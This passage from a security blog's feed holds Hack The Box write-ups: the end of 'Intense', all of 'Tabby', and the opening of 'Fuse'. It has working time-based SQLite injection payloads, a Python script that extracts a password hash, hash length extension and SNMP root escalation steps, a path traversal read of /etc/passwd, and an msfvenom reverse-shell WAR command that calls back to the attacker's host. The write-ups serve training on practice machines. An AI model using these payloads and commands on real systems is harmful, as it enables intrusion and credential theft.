&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(select case when (SELECT COUNT(*) FROM messages)=1 then randomblob(999999999) else 0 end))&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forbidden word in message&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;There’s an alternative to this, we can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zeroblob&lt;/code&gt; statement which will essentially do the same thing for us. Here we’re testing a true condition (1=1) so the resulting CASE action will consume CPU cycles and introduce latency in the response.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message='||(select case when 1=1 then zeroblob(999999999) else 0 end)||'a&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;string or blob too big&lt;/code&gt; -&amp;gt; delay &amp;gt; 500 ms&lt;/p&gt;

&lt;p&gt;In the following example, the condition is false so the statement returns 0 with no extra latency added.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message='||(select case when 1=0 then zeroblob(999999999) else 0 end)||'a&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We already know the table and column names so all we have to do is write a quick script that will test  every characters/position of the password field and extract the data. Depending on network conditions and server CPU utilization this code may introduce false positives so it is best to run it a few times to make sure the hash we get is not corrupted.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python3
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;charset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'abcdef0123456789'&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;charset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;'message'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;'||(select case when substr((select secret from users),%d,1)='%s' then zeroblob(999999999) else 0 end))--&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;before&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'http://10.10.10.195/submitmessage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;before&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Password: %s&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running the time based SQLi script…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python3 sqli.py 
Password: f
Password: f1
Password: f1f
Password: f1fc
[...]
Password: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c29711
Password: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c297110
Password: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately the SHA256 hash &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105&lt;/code&gt; can’t be cracked with rockyou.txt so we’ll need to keep looking for other ways to exploit the web application.&lt;/p&gt;

&lt;h2 id=&quot;hash-length-extension-attack&quot;&gt;Hash length extension attack&lt;/h2&gt;

&lt;p&gt;Looking at the application source code again, we find a subtle but critical vulnerability that will allow us to forge valid signatures. The hash algorithm used is SHA256 and is vulnerable to hash length extension attacks (MD5 and SHA1 are also vulnerable to these types of attacks). The highlighted part below shows where the vulnerability is:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706084429189.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To defend against this attack, the application should implement HMAC instead of appending the secret to the plaintext message being hashed.&lt;/p&gt;

&lt;p&gt;To exploit this we’ll first need to get the signature computed for the guest login and convert it to hex to we can it with the &lt;a href=&quot;https://github.com/iagox86/hash_extender&quot;&gt;https://github.com/iagox86/hash_extender&lt;/a&gt; tool.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cookie: auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.VpEzmSntTZ5iNqIoUnGsE2QJazYqfE07nTRd9vIk1qo=&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5691339929ed4d9e6236a2285271ac1364096b362a7c4d3b9d345df6f224d6aa&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Using hash extender, we’ll compute a new signature for the message where we added the admin username and corresponding password hash. The web application will use the username we added instead of the guest placed in front. The web application uses a random SECRET length so we’ll tell hash extender to computer signatures for lengths between 8 and 15 characters.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706085707055.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In this case, the correct length of the SECRET key is 14 and we’re able to make a POST request to the protect admin endpoints and list log directories with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/log/dir&lt;/code&gt;. The code is vulnerable to path traversal so we can list any directory:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706090203885.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin/log/view&lt;/code&gt; route we have an arbitrary file read vulnerability and we can view the user flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706090447046.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;unintended-priv-esc&quot;&gt;Unintended priv esc&lt;/h2&gt;

&lt;p&gt;Looking around the box with the path traversal bug, we find the configuration file for the snmpd agent and find an additional community string with Read-Write privileges: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SuP3RPrivCom90&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706090640053.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can confirm that the community string works by doing an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snmpwalk&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706091044285.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The snmpd.conf configuration two useful entries that will allow use to get RCE:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;extend    test1   /bin/echo  Hello, world!
extend-sh test2   echo Hello, world! ; echo Hi there ; exit 35
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can find a couple of blog posts online such as &lt;a href=&quot;https://mogwailabs.de/blog/2019/10/abusing-linux-snmp-for-rce/&quot;&gt;https://mogwailabs.de/blog/2019/10/abusing-linux-snmp-for-rce/&lt;/a&gt; that describe how we can get remote code execution using SNMP read-write community strings on Linux systems.&lt;/p&gt;

&lt;p&gt;I’ll copy my SSH public key to the Debian-snmp user home directory with the following command:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706091540979.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file entry for this user is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Debian-snmp:x:111:113::/var/lib/snmp:/bin/false
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This means I won’t able able to get a shell but I can still connect and port forward my connection using the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706091758477.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can start a netcat listener then use snmpd to start another bash prompt and redirect its output to the port we are forwarding on SSH:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706092224782.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s a note_server application running as root with the binary and source code available in the user home directory but we’ll bypass this binexp another way:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706092355437.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the ps output, we can see that the username that the snmpd agent is running as is specifically defined in one of the program argument:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706092534365.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By default, the snmpd agent will look for a configuration file in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$HOME/snmp/snmpd.conf&lt;/code&gt; (which doesn’t exist on this box), then it’ll look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/snmp/snmpd.conf&lt;/code&gt;. There’s a parameter in the configuration called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;agentUser&lt;/code&gt; which supercedes the configuration option passed as argument.&lt;/p&gt;

&lt;p&gt;We can make the agent run as root by creating a configuration file in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/lib/snmp/snmpd.local.conf&lt;/code&gt; and wait for the snmpd daemon to restart. After it restarts it will run as root and we just have to run bash again and it’ll give us a root shell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200706093322090.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="snmp" /><category term="sqli" /><category term="sqlite" /><category term="hash length extension" /><category term="path traversal" /><category term="flask" /><summary type="html">Intense starts with code review of a flask application where we find an SQL injection vulnerability that we exploit with a time-based technique. After retrieving the admin hash, we'll use a hash length extension attack to append the admin username and hash that we found in the database, while keeping the signature valid, then use a path traversal vulnerability to read the snmp configuration file. With the SNMP read-write community string we can execute commands with the daemon user. To escalate to root, we'll create an SNMP configuration file with the `agentUser` set to `root`, then wait for the SNMP daemon to restart to so we can execute commands as root.</summary></entry><entry><title type="html">Tabby - Hack The Box</title><link href="https://snowscan.io/htb-writeup-tabby/" rel="alternate" type="text/html" title="Tabby - Hack The Box" /><published>2020-11-07T00:00:00+00:00</published><updated>2020-11-07T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-tabby</id><content type="html" xml:base="https://snowscan.io/htb-writeup-tabby/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/tabby_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tabby was an easy box with simple PHP arbitrary file ready, some password cracking, password re-use and abusing LXD group permissions to instantiate a new container as privileged and get root access. I had some trouble finding the tomcat-users.xml file so installed Tomcat locally on my VM and found the proper path for the file.&lt;/p&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/tabby$ sudo nmap -sC -sV -p- 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 23:13 EDT
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.018s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;website---port-80&quot;&gt;Website - Port 80&lt;/h2&gt;

&lt;p&gt;There’s a website running on the server with a typical hosting provider landing page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621231450618.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;website---port-8080&quot;&gt;Website - Port 8080&lt;/h2&gt;

&lt;p&gt;There’s a default Tomcat installation on port 8080 but the password for the manager page has been changed and we can’t log in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621231615067.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621231712434.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;find-tomcat-credentials-with-php-lfi&quot;&gt;Find Tomcat credentials with PHP LFI&lt;/h2&gt;

&lt;p&gt;On the main website there’s a link to a statement about some previous security breach: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://megahosting.htb/news.php?file=statement&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621231829387.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s a very obvious arbitrary file read vulnerability in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;news.php&lt;/code&gt; file and we can read any file with path traversal. Here I grabbed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; and found the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ash&lt;/code&gt; user:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621232009306.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The Tomcat credentials are usually stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat-users.xml&lt;/code&gt; file. I looked for it in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/tomcat9/tomcat-users.xml&lt;/code&gt; but the file wasn’t there so instead I installed Tomcat locally and checked where it could be hidden:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:/$ find / -name tomcat-users.xml 2&amp;gt;/dev/null
/etc/tomcat9/tomcat-users.xml
/usr/share/tomcat9/etc/tomcat-users.xml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621232523769.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We  got the credentials: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat / $3cureP4s5w0rd123!&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;getting-a-shell-with-a-war-file&quot;&gt;Getting a shell with a WAR file&lt;/h2&gt;

&lt;p&gt;I can’t log in to the Tomcat manager even with the credentials.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621232743387.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;But I can log in to the host-manager:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621232848021.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ll generate a WAR file with msfvenom to get a reverse shell:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfvenom -p linux/x64/meterpreter/reverse_tcp -f war -o met.war LHOST=10.10.14.11 LPORT=4444
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To deploy the WAR file payload I’ll use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://pypi.org/project/tomcatmanager/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621233339795.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then I’ll get the file name of the JSP file generated:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621233433491.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Browsing to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://10.10.10.194:8080/met/vjreafuiffq.jsp&lt;/code&gt; I can trigger the meterpreter shell:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621233731397.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;priv-esc-to-user-ash&quot;&gt;Priv esc to user ash&lt;/h2&gt;

&lt;p&gt;In the website folder there’s a backup zip file:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621233913483.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The file is encrypted but we can crack the hash:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621234129261.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There isn’t anything interesting in the zip file but the same password is used by the ash user:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621234231636.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;/h2&gt;

&lt;p&gt;Ash is a member of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lxd&lt;/code&gt; group:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621234322444.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Members of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lxd&lt;/code&gt; group can create containers and by creating a container as privileged we can access the host filesystem with root privileges.&lt;/p&gt;

&lt;p&gt;I’ll upload an small Alpine Linux image, import it, then launch a new instance as privileged then I can read the flag from the host OS.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621235145325.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621235323717.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-tabby/image-20200621235444013.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="php" /><category term="lfi" /><category term="tomcat" /><category term="password cracking" /><category term="zip" /><category term="password re-use" /><category term="lxd" /><summary type="html">Tabby was an easy box with simple PHP arbitrary file ready, some password cracking, password re-use and abusing LXD group permissions to instantiate a new container as privileged and get root access. I had some trouble finding the tomcat-users.xml file so installed Tomcat locally on my VM and found the proper path for the file.</summary></entry><entry><title type="html">Fuse - Hack The Box</title><link href="https://snowscan.io/htb-writeup-fuse/" rel="alternate" type="text/html" title="Fuse - Hack The Box" /><published>2020-10-31T00:00:00+00:00</published><updated>2020-10-31T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-fuse</id><content type="html" xml:base="https://snowscan.io/htb-writeup-fuse/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/fuse_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To solve Fuse, we’ll do some enumeration to gather potential usernames from the print jobs information then build a password list from the strings on the website. After successfully password spraying, we’ll reset the expired password to a new one then use rpcclient to identify a printer service account and find its password in a description field. To priv esc, we’ll use the ability of our user with Printer Operators right to load a malicous kernel driver and get SYSTEM.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Find usernames from the print logger website &amp;amp; build a small wordlist&lt;/li&gt;
  &lt;li&gt;Password spray and find an expired password for three users&lt;/li&gt;
  &lt;li&gt;Reset password for the user with smbpasswd then use rpcclient to find credentials for the svc-print account in a printer description&lt;/li&gt;
  &lt;li&gt;Get a shell and identify that svc-print is a members of Print Operators and can load kernel drivers&lt;/li&gt;
  &lt;li&gt;Use the Capcom.sys driver to gain code execution as SYSTEM&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~$ sudo nmap -sC -sV -p- 10.10.10.193
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-13 20:50 EDT
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 8.37% done; ETC: 20:53 (0:02:44 remaining)
Nmap scan report for fuse.htb (10.10.10.193)
Host is up (0.018s latency).
Not shown: 65514 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-14 01:07:26Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc        Microsoft Windows RPC
49672/tcp open  msrpc        Microsoft Windows RPC
49690/tcp open  msrpc        Microsoft Windows RPC
49745/tcp open  msrpc        Microsoft Windows RPC
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;website-recon&quot;&gt;Website recon&lt;/h2&gt;

&lt;p&gt;The PaperCut Print Logger application is running on the server. There’s not much exposed by the application except some print jobs that contain the hostname, some usernames and the file names.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20200613205151216.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-fuse/image-20201030163223157.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;password-spray&quot;&gt;Password spray&lt;/h2&gt;

